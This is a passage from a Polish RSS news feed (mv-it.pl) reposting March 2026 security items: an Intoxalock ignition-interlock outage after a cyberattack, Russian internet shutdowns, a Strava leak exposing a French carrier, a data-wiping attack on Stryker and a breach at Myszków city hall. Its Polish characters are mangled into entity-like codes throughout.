To nie jest odosobniony incydent. Jakiand#347;and#160;czas temu w Los Angeles grupa rowerzystand#243;w otoczyand#322;a pojazd, zmuszajand#261;c go do zatrzymania. W innym przypadku wandalowie bezkarnie pomalowali auto sprayem, wiedzand#261;c, and#380;e maszyna nie zareaguje agresywnie ani nie sprand#243;buje uciec, ryzykujand#261;c potrand#261;cenie and#8220;artystyand#8221;.
Problem leand#380;y w sztywnych reguand#322;ach decyzyjnych. Dla algorytmu nie ma rand#243;and#380;nicy miand#281;dzy dzieckiem, ktand#243;re wbiegand#322;o na pasy, a terrorystand#261; celujand#261;cym ze strzelby w pasaand#380;era. To klasyczny dylemat, ktand#243;ry pokazuje, and#380;e automatyzacja bez kontekstu sytuacyjnego bywa groand#378;na. Ktoand#347; moand#380;e zaczand#261;and#263;and#160;to wykorzystywaand#263;. Juand#380; teraz niektand#243;rzy zastanawiajand#261; siand#281;, co by byand#322;o, gdyby jakaand#347; grupa ludzi celowo zatrzymaand#322;a w ten sposand#243;b autonomicznand#261; taksand#243;wkand#281; na and#8230;przejeand#378;dzie kolejowym.
Moand#380;e pora na przycisk and#8220;mimo wszystko jedand#378;, na mojand#261;and#160;odpowiedzialnoand#347;and#263;and#8221;. Ale pewnie wielu prawnikand#243;wand#160;z Doliny Krzemowej siand#281; nami nie zgodziand#8230;
and#160;
and#378;rodand#322;o niebezpiecznik.pl 23 marzec 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Cyberatak unieruchomił niektóre samochody w USA. ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1646</link>
			<description><![CDATA[ 14 marca Intoxalock, amerykaand#324;ska firma dostarczajand#261;ca samochodowe blokady alkoholowe padand#322;a ofiarand#261; cyberataku. W efekcie tysiand#261;ce kierowcand#243;w w aand#380; 46 stanach USA straciand#322;o moand#380;liwoand#347;and#263; uruchomienia swoich pojazdand#243;w.

Blokady alkoholowe podand#322;and#261;czone do internetu, cand#243;and#380; mogand#322;o pand#243;jand#347;and#263; nie takand#8230;
Blokady alkoholowe to urzand#261;dzenia montowane w pojazdach, najczand#281;and#347;ciej na mocy nakazu sand#261;dowego dla osand#243;b skazanych za jazdand#281; pod wpand#322;ywem alkoholu. Mechanizm jest prosty and#8212; przed uruchomieniem silnika kierowca musi dmuchnand#261;and#263; w ustnik. Jeand#347;li urzand#261;dzenie wykryje alkohol, zapand#322;on zostaje zablokowany. Problem w tym, and#380;e dzisiejsze alkomaty sand#261; na staand#322;e podand#322;and#261;czone do internetu bo and#8212; jakand#160;tand#322;umaczyand#160;przedstawiciel producenta and#8212; wymagajand#261;and#160;zdalnej kalibracji co jakiand#347; czas. Widzicie juand#380;and#160;pewnie co tu poszand#322;o nie takand#8230; Gdy po ataku infrastruktura producenta padand#322;a, urzand#261;dzenia ktand#243;re wymagaand#322;y kalibracji przeszand#322;y w and#8220;tryb awaryjnyand#8221; i prewencyjnie odciand#281;and#322;y zapand#322;on, niezaleand#380;nie od tego, czy kierowca byand#322; trzeand#378;wy, czy nie.
Ten incydent to doskonaand#322;y przykand#322;ad na to, jak niebezpieczne bywa bezkrytyczne poleganie na urzand#261;dzeniach, ktand#243;re do podstawowego dziaand#322;ania wymagajand#261; nieprzerwanego poand#322;and#261;czenia z chmurand#261; producenta. To nie pierwszy raz, kiedy band#322;and#281;dy lub ataki na infrastrukturand#281; zewnand#281;trznand#261; uziemiajand#261; and#8220;inteligentneand#8221; sprzand#281;ty. Kiedyand#347; pisaliand#347;my o podobnych przypadkach zand#160;inteligentnymi zamkami do drzwi.
W przypadku alkomatand#243;w samochodowych sprawa jest jednak znacznie powaand#380;niejsza ze wzgland#281;dand#243;w prawnych. Zgodnie z relacjami kierowcand#243;w w serwisie Reddit, osoby posiadajand#261;ce sand#261;dowy nakaz korzystania z urzand#261;dzenia nie mogand#261; go po prostu zdemontowaand#263;, ani legalnie prowadziand#263; innego auta. W efekcie cyberatak uwiand#281;ziand#322; ich w domach i uniemoand#380;liwiand#322; np. dojazd do pracy. A wiadomo jak to jest w USA, wszand#281;dzie trzeba samochodem bo chodnikand#243;w nie ma ;P
and#160;
Na razie nie wiadomo, kto dokand#322;adnie stoi za atakiem i czy byand#322; to ransomware. W Polsce, choand#263; byand#322;y takie pomysand#322;y, na razie nie mamy scentralizowanego i uzaleand#380;nionego od poand#322;and#261;czeand#324; internetowych systemu blokad alkoholowych. Ale ten trend podand#322;and#261;czania wszystkiego do sieci z roku na rok przybiera na sile. Zresztand#261;, paraliand#380; nie musi siand#281;and#160;rozpoczand#261;and#263; od ataku na producenta blokady alkoholowej. Przecieand#380; same samochody to dziand#347; komputery, ktand#243;re sand#261; na staand#322;e podand#322;and#261;czone do internetu i przez ten internet and#8212; na skutek dziaand#322;ania samego producenta lub atakujand#261;cych and#8212; mogand#261; zostaand#263; unieruchomione. Takie ataki miaand#322;y juand#380; miejsce w przeszand#322;oand#347;ci.
Podsumowujand#261;c and#8212; jeand#347;li pijesz, nie jedand#378;. A jeand#347;li nie pijeszand#8230; upewnij siand#281;, and#380;e Twand#243;j samochand#243;d do startu nie wymaga poand#322;aczenia z internetem. W dobie atakand#243;w moand#380;e siand#281; okazaand#263;, and#380;e o wiele szybciej jest wytrzeand#378;wieand#263;, niand#380; doczekaand#263; siand#281; przywrand#243;cenia usand#322;ug po udanym cyberataku.
and#160;
and#378;rodand#322;o niebezpiecznik.pl 23 marzec 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Putin wyłączył internet. Rosjanie w panice googlują, jak uciec z kraju. ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1645</link>
			<description><![CDATA[ Rosja po raz kolejny podkrand#281;ca restrykcje w dostand#281;pie do internetu. Jak donosi serwis CNN, dziaand#322;ania wand#322;adz na Kremlu skutkujand#261; masowymi przerwami w dostand#281;pie do sieci. Tym razem jednak nie chodzi (tylko) o to, aby Rosjanie dowiedzieli siand#281;, jak wygland#261;da prawda prezentowana na zachodnich portalach. Przerwy w dostand#281;pie do internetu majand#261;and#160;na celu utrudnienie atakand#243;w na rosyjskie miasta. Przede wszystkim tych realizowanych poprzez drony, ktand#243;re sand#261; sterowane za pomocand#261;and#160;rosyjskich sieci telefonii komand#243;rkowej. Efekt? Ludzie bez internetu chcand#261; uciekaand#263; z krajuand#8230;

and#160;
Moskwa w trybie offline
Od poczand#261;tku marca stolica Rosji oraz Petersburg doand#347;wiadczajand#261; bezprecedensowych przerw w dostand#281;pie do mobilnego internetu i usand#322;ug telekomunikacyjnych. Jak donoszand#261; zachodnie serwisy informacyjne, powoand#322;ujand#261;c siand#281; na relacje lokalnych mieszkaand#324;cand#243;w, awarie sand#261; na niespotykanand#261; dotand#261;d skaland#281;. Nie dziaand#322;ajand#261; aplikacje, nawigacja w centrum miast leand#380;y, a problemy rozlaand#322;y siand#281; takand#380;e na zwykand#322;e poand#322;and#261;czenia gand#322;osowe i wiadomoand#347;ci SMS. Rosjanie radzand#261; sobie jak mogand#261;. Z pand#243;and#322;ek sklepowych masowo znikajand#261; papierowe mapy i krand#243;tkofaland#243;wki,
and#160;
11 marca rzecznik Dmitrij Pieskow oand#347;wiadczyand#322;, and#380;e ograniczenia potrwajand#261; and#8220;tak dand#322;ugo, jak band#281;dand#261; wymagaand#322;y tego wzgland#281;dy bezpieczeand#324;stwa naszych obywateliand#8220;. Paand#324;stwowa agencja informacyjna RIA-Novosti tand#322;umaczy te dziaand#322;ania walkand#261; z and#8220;coraz bardziej wyrafinowanymi metodamiand#8221; ukraiand#324;skich atakand#243;w na terytorium Rosji. Ale eksperci od wolnoand#347;ci sand#322;owa majand#261; jednak wand#261;tpliwoand#347;ci and#8212; niektand#243;rzyand#160;uwaand#380;ajand#261;, and#380;e chodzi o coand#347; wiand#281;cej. Spekulujand#261;, and#380;e wand#322;adzeand#160;sprawdzajand#261; w ten sposand#243;b swoje moand#380;liwoand#347;ci dand#322;awienia protestand#243;w na wypadek ogand#322;oszenia niepopularnej, powszechnej mobilizacji na front. Michaiand#322; Klimariew, szef Internet Protection Society, skwitowaand#322; to wprost w wywiadzie dla mediand#243;w: and#8220;W kaand#380;dej sytuacji, gdy wand#322;adze dostrzegajand#261; zagroand#380;enie dla siebie (and#8230;) wyand#322;and#261;czand#261; internet. Zupeand#322;nie jak w Iranieand#8220;.
Tu warto podkreand#347;liand#263;, and#380;e internet jest ograniczany wyand#322;and#261;cznie do zasoband#243;w znajdujand#261;cych siand#281; na paand#324;stwowej and#8220;biaand#322;ej liand#347;cieand#8221;. Filtry selektywnie przepuszczajand#261; jedynie ruch kierowany do zatwierdzonych serwisand#243;w rzand#261;dowych, mediand#243;w propagandowych oraz krajowych platform e-commerce.
Rosja od lat przygotowywaand#322;a siand#281; do caand#322;kowitego odizolowania swojej sieci od reszty and#347;wiata. O wczeand#347;niejszych testach Runetu, zwanego and#8220;suwerennym internetemand#8221;, pisaliand#347;my juand#380; niejednokrotnie. Do blokowania niepokornych treand#347;ci i odcinania zachodnich usand#322;ug, Roskomnadzor (rosyjski urzand#261;d do spraw telekomunikacji) wykorzystywaand#322; do tej pory na szerokand#261; skaland#281; technologiand#281; DPI (Deep Packet Inspection). W skrand#243;cie: to zaawansowany mechanizm analizy ruchu sieciowego. Pozwala on nie tylko sprawdziand#263; skand#261;d i dokand#261;d przesyand#322;any jest dany pakiet danych, ale teand#380; zajrzeand#263; do jego wnand#281;trza w locie i po cichu go and#8220;ubiand#263;and#8221;, jeand#347;li zawiera sygnaturand#281; zakazanej aplikacji and#8212; na przykand#322;ad zachodniego VPN-a, pozwalajand#261;cego na omijanie cenzury. Teraz jednak widaand#263;and#160;zastosowanie and#8220;biaand#322;ych listand#8221;, co oznacza, and#380;e tradycyjne metody obchodzenia cenzury, takie jak proste serwery proxy czy popularne protokoand#322;y VPN, stajand#261; siand#281; nieskuteczne.
Googlajand#261;and#160;jak uciec z kraju
Efekt? Oto frazy, ktand#243;re obecnie notujand#261; potand#281;and#380;ne skoki popularnoand#347;ci w Rosji to miand#281;dzy innymi:
"jak wyjechaand#263; z Rosji" "dziaand#322;ajand#261;ce VPN 2026"
Wygland#261;da na to, and#380;e obywatele doskonale zdajand#261; sobie sprawand#281; z powagi sytuacji. Wiedzand#261;, and#380;e to nie sand#261; zwykand#322;e and#8220;prace konserwacyjneand#8221;, o ktand#243;rych zazwyczaj trand#261;bi paand#324;stwowa propaganda, lecz celowe i systemowe odcinanie ich od and#347;wiata.
Cyfrowy blackout and#8212; co robiand#263;, jak and#380;yand#263;?
Ogland#261;danie tego, co dzieje siand#281; u Rosjan, to and#347;wietny pretekst do refleksji. Jak przygotowaand#263; siand#281; na brak intenretu? Jeand#347;li padnie infrastruktura GSM i mobilny internet, warto wiedzieand#263;and#160;co robiand#263;, a o tym szeroko mand#243;wiliand#347;myand#160;w naszym darmowym szkoleniu and#8220;Jak ROZSand#260;DNIE przygotowaand#263; siand#281; na kryzys?and#8221;and#160;a wand#261;tek komunikacji awaryjnej rozszerzyliand#347;my w szkoleniu and#8220;Radiokomunikacja dla amatorand#243;wand#8220;. W obu materiaand#322;ach jest masa porad, wiand#281;c polecamy siand#281;and#160;z nimi zapoznaand#263;and#160;and#8212; zanim band#281;dzie za pand#243;and#378;no.
Na zachand#281;te dwie wybrane rady:

Zainstaluj aplikacje typu Mesh: Komunikatory takie jak Briar pozwalajand#261; na przesyand#322;anie wiadomoand#347;ci bezpoand#347;rednio miand#281;dzy urzand#261;dzeniami przez Bluetooth i lokalne Wi-Fi (tworzand#261;c sieand#263; typu peer-to-peer).
Zadbajcie o nawigacjand#281; offline: Mapy papierowe sand#261; ok, ale pamiand#281;taj and#380;e sand#261; teand#380; aplikacje mapowe dziaand#322;ajand#261;ce offline, np. OsmAnd lub tryb offline map Google (trzeba zawczasu zrzuciand#263;and#160;sobie wybrany obszar).

and#160;
and#378;rodand#322;o niebezpiecznik.pl 23 marzec 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Pozycja lotniskowca ujawniona, bo francuski żołnierz nie wyłączył zegarka podczas biegania… ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1644</link>
			<description><![CDATA[ Mamyand#160;kolejny incydent z aplikacjand#261; Strava, ktand#243;ra sand#322;uand#380;y do trackingu aktywnoand#347;ci sportowych. Tym razem wpadkand#281;and#160;zaliczyli nie Amerykanie aand#160;Francuziand#160;z lotniskowca and#8220;Charles de Gaulleand#8221;:

Ale zanim zaczniecie pisaand#263;and#160;and#8220;jakieand#380; to byand#322;o nieodpowiedzialne i groand#378;ne zachowanie!and#8220;, warto zwrand#243;ciand#263;and#160;uwagand#281;, and#380;eand#160;lotniskowce to nie okrand#281;ty podwodneand#160;i do najmniejszych nie naleand#380;and#261;. Innymi sand#322;owy: and#322;atwo moand#380;na je zlokalizowaand#263; za pomocand#261;and#160;zdjand#281;and#263; satelitarnychand#160;(takand#380;e tych dostand#281;pnych dla cywili) jak rand#243;wnieand#380;and#160;odpowiednich serwisand#243;w pokazujand#261;cych ruchy jednostek wodnych (o ile nie wyand#322;and#261;czand#261; AIS):

and#379;oand#322;nierzu, dbaj o OPSEC!
Tym niemniej, jeand#347;li jest siand#281;and#160;and#380;oand#322;nierzem, to nie powinno siand#281; korzystaand#263;and#160;z aplikacji, ktand#243;re posyand#322;ajand#261; lokalizacjand#281; w and#347;wiat,and#160;nawet na lotniskowcu nadajand#261;cym swojand#261; pozycjand#281;. Bo jeszcze wejdzie to komuand#347; w krew i nieszczand#281;and#347;cie gotowe and#8212; tego typu sygnaand#322;y mogand#261; byand#263;and#160;powodem bombardowanka ze strony wroga.  Zresztand#261; ryzykiem jest nie tylko ostrzelanie. Strava ujawnia informacje na temat uand#380;ytkownika, wiand#281;cand#160;moand#380;na na tej podstawie okreand#347;liand#263;and#160;kto konkretnie bierze udziaand#322;w danej misji. I gdzie biegaand#322;and#160;wczeand#347;niej oraz gdzie mieszka. A to otwiera szereg nowych moand#380;liwoand#347;ci ze strony wroga, nie mniej spektakularnych niand#380; uderzenia kinetyczne.
Ten akurat incydent moand#380;e byand#263; ciekawym zadaniem z fizyki dla licealistand#243;w. Znajand#261;c prand#281;dkoand#347;and#263; statku, oceand#324; czas w jakim and#380;oand#322;nierz przebiegand#322;and#160;peand#322;ne okrand#261;and#380;enie.
and#160;
and#160;
and#160;
and#378;rodand#322;o niebezpiecznik.pl 20 marzec 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Lekcja z wielkiego blackoutu 2025. PSE wdrażają "pakiet antyblackoutowy" w Polsce. ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1643</link>
			<description><![CDATA[ Operatorzy muszand#261; uzyskaand#263; zdolnoand#347;ci do zarzand#261;dzania wszystkimi zasobami wpand#322;ywajand#261;cymi na pracand#281; sieci elektroenergetycznej - wskazujand#261; PSE zwracajand#261;c uwagand#281;, and#380;e taki wniosek pand#322;ynie z raportu ekspertand#243;w, w ktand#243;rym analizowane sand#261; przyczyny blackoutu na Pand#243;and#322;wyspie Iberyjskim w 2025 r.



and#160;


fot. Alberto Paredes /and#160;/and#160; Zuma Press / Forum


28 kwietnia ub.r. kontynentalna Hiszpania i czand#281;and#347;and#263; Portugalii zostaand#322;y dotkniand#281;te duand#380;and#261; awariand#261; prand#261;du. Do awarii doszand#322;o ok. godz. 12.30. W Madrycie nie dziaand#322;aand#322;y m.in. sygnalizacja and#347;wietlna i metro.
Polskie Sieci Elektroenergetyczne (PSE) przekazaand#322;y, and#380;e w piand#261;tek opublikowano raport dotyczand#261;cy przyczyn i przebiegu blackoutu na Pand#243;and#322;wyspie Iberyjskim. Zostaand#322; on przygotowany przez ekspertand#243;w oraz przedstawicieli operatorand#243;w systemand#243;w przesyand#322;owych (OSP) z caand#322;ej Europy, reprezentujand#261;cych ich stowarzyszenia ENTSO-E, unijnej Agencjand#281; Wspand#243;and#322;pracy Organand#243;w Regulacyjnych (ACER) oraz krajowych urzand#281;dand#243;w regulacyjnych (w Polsce jest nim Urzand#261;d Regulacji Energetyki).




and#160;



Raport zawiera takand#380;e opis przebiegu przywracania normalnej pracy systemu oraz rekomendacje dziaand#322;aand#324;, ktand#243;re pozwoland#261; ograniczyand#263; ryzyko wystand#261;pienia podobnych awarii w przyszand#322;oand#347;ci. Spand#243;and#322;ka zaznaczyand#322;a, and#380;e sand#261; one zbieand#380;ne z rekomendacjami tzw. pakietu antyblackoutowego, przygotowanego przez Polskie Sieci Elektroenergetyczne we wspand#243;and#322;pracy z Ministerstwem Energii.
and#160;
Operator zwrand#243;ciand#322; uwagand#281;, and#380;e awaria, ktand#243;ra wystand#261;piand#322;a 28 kwietnia 2025 r. i objand#281;and#322;a Hiszpaniand#281;, Portugaliand#281; oraz niewielki obszar Francji byand#322;a najwiand#281;kszym blackoutem w Europie od 20 lat i pierwszym spowodowanym przez problemy napiand#281;ciowe.














and#160;
Awaria nie byand#322;a skutkiem pojedynczego zdarzenia, lecz serii czynnikand#243;w
Z raportu wynika, and#380;e eksperci przez prawie rok badali dostand#281;pne dane pomiarowe, przebieg awarii i proces przywracania systemu do normalnej pracy.
and#8222;Wedand#322;ug ustaleand#324; panelu eksperckiego awaria nie byand#322;a skutkiem pojedynczego zdarzenia, lecz serii czynnikand#243;w, ktand#243;re doprowadziand#322;y do niekontrolowanego wzrostu napiand#281;cia w sieci, co z kolei spowodowaand#322;o automatyczne odand#322;and#261;czanie kolejnych elementand#243;w tworzand#261;cych system, a w efekcie do jego zaand#322;amaniaand#8221; - przekazaand#322;y PSE.
Spand#243;and#322;ka poinformowaand#322;a rand#243;wnieand#380;, and#380;e eksperci zarekomendowali szereg dziaand#322;aand#324;, ktand#243;re powinni podjand#261;and#263; operatorzy, urzand#281;dy regulacyjne i wytwand#243;rcy, by ograniczyand#263; ryzyko wystand#261;pienia podobnych awarii w przyszand#322;oand#347;ci. and#8222;Sand#261; wand#347;rand#243;d nich m.in. nowe wymagania dotyczand#261;ce zarzand#261;dzania napiand#281;ciami przez urzand#261;dzenia przyand#322;and#261;czone do systemu, czy udoskonalanie planand#243;w obrony i odbudowy systemuand#8221; - wymieniand#322; krajowy operator sieci.
PSE zaznaczyand#322;y, and#380;e krand#243;tko po awarii na Pand#243;and#322;wyspie Iberyjskim PSE wraz z Ministerstwem Energii przygotowaand#322;y zestaw rekomendacji, przedstawionych Komitetowi Ekonomicznemu Rady Ministrand#243;w jako pakiet antyblackoutowy.





and#8222;Sand#261; one zbieand#380;ne z rekomendacjami zawarte w raporcie ENTSO-E, a takand#380;e szereg innych rozwiand#261;zaand#324;. Najwaand#380;niejszy element pakietu to dand#261;and#380;enie do peand#322;nej obserwowalnoand#347;ci warunkand#243;w pracy systemu dziand#281;ki uzyskaniu danych pomiarowych z kaand#380;dego puntu sieci w trybie on-lineand#8221; - wskazaand#322;a spand#243;and#322;ka.
Dodano, and#380;e operatorzy sieciowi muszand#261; takand#380;e uzyskaand#263; zdolnoand#347;ci do zarzand#261;dzania wszystkimi zasobami wpand#322;ywajand#261;cymi na pracand#281; sieci and#8211; dotychczas wystarczaand#322;o zarzand#261;dzaand#263; kilkunastoma kluczowymi elektrowniami, dziand#347; system ma tysiand#261;ce rozproszonych and#378;rand#243;deand#322; i ponad milion prosumentand#243;w. Zawodowi uczestnicy rynku energii majand#261; teand#380; informowaand#263; operatorand#243;w sieciowych o swoich planach pracy oraz dostosowywaand#263; poziom generacji do zawartych kontraktand#243;w.
and#8222;Jeand#347;li nie ma zbytu na energiand#281;, powinni ograniczyand#263; produkcjand#281;, informujand#261;c o tym operatorand#243;w systemand#243;w elektroenergetycznychand#8221; - zaznaczyand#322;a spand#243;and#322;ka.
Wskazaand#322;a teand#380;, and#380;e kluczowym elementem pakietu antyblackoutowego sand#261; takand#380;e dodatkowe wymagania wobec urzand#261;dzeand#324; elektrotechnicznych w aspekcie cyberbezpieczeand#324;stwa, w tym koniecznoand#347;and#263; certyfikacji i objand#281;cia ich nadzorem wyspecjalizowanych sand#322;uand#380;b.





and#8222;Jak moand#380;e siand#281; skoand#324;czyand#263; brak dbaand#322;oand#347;ci o cyberbezpieczeand#324;stwo pokazaand#322;y ataki hakerskie z koand#324;ca grudnia 2025 r., ktand#243;rych skutki niektand#243;re instalacje nadal odczuwajand#261;and#8221; - podaand#322; operator.
PSE zwrand#243;ciand#322;y uwagand#281;, and#380;e czand#281;and#347;and#263; z tych zaleceand#324; jest juand#380; wdraand#380;ana, np. wspomniana reforma przyand#322;and#261;czeand#324; czy osiand#261;gniand#281;cie peand#322;nej zdolnoand#347;ci operacyjnej przez Narodowe Centrum Analiz Energetycznych. Dodaand#322;y, and#380;e trwajand#261; takand#380;e analizy dotyczand#261;ce nowych usand#322;ug systemowych zwiand#261;zanych z zapewnieniem odpowiednich parametrand#243;w pracy sieci.
and#8222;Jeszcze w tym roku przedstawimy mapand#281; drogowand#261; rynku energii, ktand#243;ra band#281;dzie uwzgland#281;dniaand#263; ten elementand#8221; - zapowiedziaand#322;a spand#243;and#322;ka.
Przypomniaand#322;a rand#243;wnieand#380;, and#380;e pakiet antyblackoutowy stanowiand#322; takand#380;e wkand#322;ad do nowej strategii PSE, ktand#243;rej gand#322;and#243;wnym celem jest przygotowanie systemu elektroenergetycznego do stabilnej pracy przy braku koniecznoand#347;ci uruchamiania and#378;rand#243;deand#322; emisyjnych.and#160;
and#160;
and#160;

















and#378;rodand#322;o PAP 20 marzec 2026 PAPand#160; ab/ mick/ ]]></description>
		</item><item>
			<title><![CDATA[ Hakerzy nie chcieli pieniędzy. Ich celem było "wyczyszczenie" serwerów do zera. ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1642</link>
			<description><![CDATA[ FBI przejand#281;and#322;o i zneutralizowaand#322;o w czwartek dwa serwisy internetowe, powiand#261;zane z iraand#324;skand#261; grupand#261; hakerskand#261; Handala. Przeprowadziand#322;a ona kilka dni temu globalny cyberatak na amerykaand#324;skiego producenta sprzand#281;tu medycznego Stryker.



and#160;


fot. Nomad_Soul /and#160;/and#160;Shutterstock


and#8211; Organy and#347;cigania ustaliand#322;y, and#380;e domena ta byand#322;a wykorzystywana do prowadzenia, uand#322;atwiania lub wspierania szkodliwych dziaand#322;aand#324; w cyberprzestrzeni w imieniu obcego paand#324;stwa lub w koordynacji z nim and#8211; gand#322;osi komunikat FBI, zamieszczony na obu przejand#281;tych stronach.
Jak przypomniaand#322;a agencja UPI, atak z 11 marca polegaand#322; na trwaand#322;ym kasowaniu informacji z systemand#243;w, a jego celem byand#322;a destrukcja danych, a nie uzyskanie okupu. Firma Stryker, zatrudniajand#261;ca okoand#322;o 50 tys. osand#243;b, zostaand#322;a zmuszona do wstrzymania dziaand#322;alnoand#347;ci po zakand#322;and#243;ceniach w wewnand#281;trznym and#347;rodowisku Microsoftu.






and#160;






Koncern poinformowaand#322; pand#243;and#378;niej, and#380;e w incydencie nie uand#380;yto zand#322;oand#347;liwego oprogramowania, a systemy sand#261; obecnie przywracane.
and#160;
Wedand#322;ug specjalistand#243;w cytowanych przez UPI, Handala jest bezpoand#347;rednio powiand#261;zana z iraand#324;skim wywiadem. Sama grupa oand#347;wiadczyand#322;a, and#380;e cyberatak byand#322; odwetem za amerykaand#324;skie uderzenia w Iranie oraz realizacjand#281; przez firmand#281; Stryker kontraktand#243;w dla Pentagonu. Po przejand#281;ciu domen przez FBI hakerzy przyznali w komunikacie, and#380;e utracili nad nimi kontroland#281; i zapowiedzieli uruchomienie nowej witryny.
and#160;
Eksperci podkreand#347;lajand#261;, and#380;e incydent ten powinien stanowiand#263; wyraand#378;ne ostrzeand#380;enie dla wielu firm, poniewaand#380; celem tego typu operacji nie jest korzyand#347;and#263; majand#261;tkowa, lecz destabilizacja i bezpowrotne niszczenie danych.
and#160;
and#160;
and#378;rodand#322;o PAP 20 marzec 2026 PAP z Nowego Jorku Andrzej Dobrowolskiand#160;
ad/ mal/ ]]></description>
		</item><item>
			<title><![CDATA[ Cyberatak na urząd w Myszkowie. Możliwy wyciek danych mieszkańców i numerów PESEL ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1641</link>
			<description><![CDATA[ W zwiand#261;zku z cyberatakiem na infrastrukturand#281; IT Urzand#281;du Miasta w Myszkowie (woj. and#347;land#261;skie), w trybie pilnym wszczand#281;te zostaand#322;y procedury kryzysowe - poinformowaand#322; w and#347;rodand#281; wicepremier, minister cyfryzacji Krzysztof Gawkowski.



and#160;


fot. Soumil Kumar /and#160;/and#160;Pexels


O cyberataku, ktand#243;rego celem byand#322;a infrastruktura informatyczna wykorzystywana do bieand#380;and#261;cej dziaand#322;alnoand#347;ci urzand#281;du miasta, myszkowski magistrat poinformowaand#322; na swojej stronie internetowej.
and#8222;Nie moand#380;na wykluczyand#263;, and#380;e w wyniku zdarzeniaand#160;mogand#322;o dojand#347;and#263; do naruszenia poufnoand#347;ci danych osobowych przetwarzanych w systemach Urzand#281;du, w szczegand#243;lnoand#347;ci takich jak: imiand#281; i nazwisko, numer PESEL, adres e-mail oraz inne dane identyfikacyjne lub kontaktoweand#160;(w zaleand#380;noand#347;ci od zakresu sprawy prowadzonych w urzand#281;dzie)and#8221; - brzmi fragment komunikatu.
and#160;
Jak zabezpieczyand#263; PESEL po incydencie?
Szef resortu cyfryzacji Krzysztof Gawkowski zapewniand#322; na platformie X, and#380;e odpowiednie sand#322;uand#380;by paand#324;stwa zajmujand#261; siand#281; sprawand#261;, a incydent zostaand#322; zgand#322;oszony do Urzand#281;du Ochrony Danych Osobowych.
and#8222;Obecnie trwa szczegand#243;and#322;owa analiza incydentu. Podjand#281;to rand#243;wnieand#380; niezwand#322;oczne dziaand#322;ania majand#261;ce na celu zabezpieczenie systemand#243;w informatycznych, ograniczenie skutkand#243;w zdarzenia oraz przywrand#243;cenie peand#322;nej funkcjonalnoand#347;ci infrastrukturyand#8221; - napisaand#322;.








Podkreand#347;liand#322;, and#380;e na ten moment nie moand#380;na przesand#261;dziand#263;, czy i w jakim zakresie doszand#322;o do wycieku danych.
Krzysztof Gawkowski zaapelowaand#322; do mieszkaand#324;cand#243;w Myszkowa, aby zachowali ostroand#380;noand#347;and#263; wobec podejrzanych telefonand#243;w i maili oraz zastrzegli numer PESEL (rozwiand#261;zanie to jest dostand#281;pne w aplikacji mObywatel). Z podobnym apelem zwrand#243;ciand#322; siand#281; Urzand#261;d Miasta Myszkowa.
Jednoczeand#347;nie magistrat poinformowaand#322;, and#380;e incydent nie wpand#322;ywa na bieand#380;and#261;cand#261; obsand#322;ugand#281; mieszkaand#324;cand#243;w w biurze podawczym, urzand#281;dzie stanu cywilnego i w Wydziale Spraw Obywatelskich. Tymczasowo niemoand#380;liwe jest jedynie dokonywanie pand#322;atnoand#347;ci w kasie urzand#281;du.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 18 marzec 2026 PAP ksc/ akar/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Nowa strategia Orange: cyberbezpieczeństwo i AI. Spółka prowadzi rozmowy z branżą satelitarną ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1640</link>
			<description><![CDATA[ Grupa Orange w nowej strategii stawia na cyberbezpieczeand#324;stwo i AI; Orange Cyberdefense chce do 2030 r. wypracowaand#263; 2 mld euro przychodand#243;w; wartoand#347;and#263; powiand#261;zana z AI do 2028 r. ma osiand#261;gnand#261;and#263; 600 mln euro - poinformowaand#322;a PAP Biznes CEO Orange Europe, Mari-Noand#235;lle Jand#233;go-Laveissiere. Orange Polska wpand#322;ywa na ok. 50 proc. wartoand#347;ci rozwiand#261;zaand#324; AI grupy w Europie. Grupa prowadzi rozmowy z branand#380;and#261; satelitarnand#261;.



and#160;


fot. ArDanMe /and#160;/and#160;Shutterstock


"Nowa strategia Grupy Orange 'Trust the future' dotyczy m.in. dwand#243;ch zagadnieand#324; o kluczowym znaczeniu z punktu widzenia europejskiej gospodarki i naszych klientand#243;w. Mam na myand#347;li cyberbezpieczeand#324;stwo i sztucznand#261; inteligencjand#281;. W kwestii cyberbezpieczeand#324;stwa, jako operator, chcemy przede wszystkim zabezpieczyand#263; naszych uand#380;ytkownikand#243;w przed zagroand#380;eniami. Chodzi o zaufanie, ktand#243;re jest podstawand#261; naszej strategii. I jest ono dzisiaj bardzo waand#380;ne, bo w obecnych czasach zdarza siand#281;, and#380;e nie wiemy juand#380; w co wierzyand#263;, a w co nie" - powiedziaand#322;a PAP Biznes Mari-Noand#235;lle Jand#233;go-Laveissiere, CEO Orange Europe.
and#160;
"Wiemy rand#243;wnieand#380;, and#380;e jest to o wiele istotniejsze niand#380; kiedykolwiek wczeand#347;niej dla naszych klientand#243;w biznesowych, ktand#243;rych korporacje czy firmy sand#261; pod ciand#261;gand#322;ym zagroand#380;eniem atakand#243;w cybernetycznych" - dodaand#322;a.
and#160;
Spand#243;and#322;kaand#160;Orange Cyberdefenseand#160;chce osiand#261;gnand#261;and#263; z tego tytuand#322;u ok. 2 mld euro przychodand#243;w do 2030 roku.
"Swojand#261; roland#281; w osiand#261;gniand#281;ciu tego celu odegra teand#380; Orange Polska, poprzez odsprzedaand#380; produktand#243;w Orange Cyberdefense. Ale ma takand#380;e wand#322;asne usand#322;ugi i wand#322;asne przychody z tego obszaru oraz jeden z najlepszych i najbardziej kompetentnych zespoand#322;and#243;w CERT w Europie. Waand#380;na band#281;dzie wspand#243;and#322;praca wszystkich krajand#243;w grupy przy tworzeniu produktand#243;w i usand#322;ug Orange Cyberdefense. Niezaleand#380;nie od tego, gdzie i w jakim kraju nasi klienci band#281;dand#261; potrzebowali wsparcia" - wskazaand#322;a.
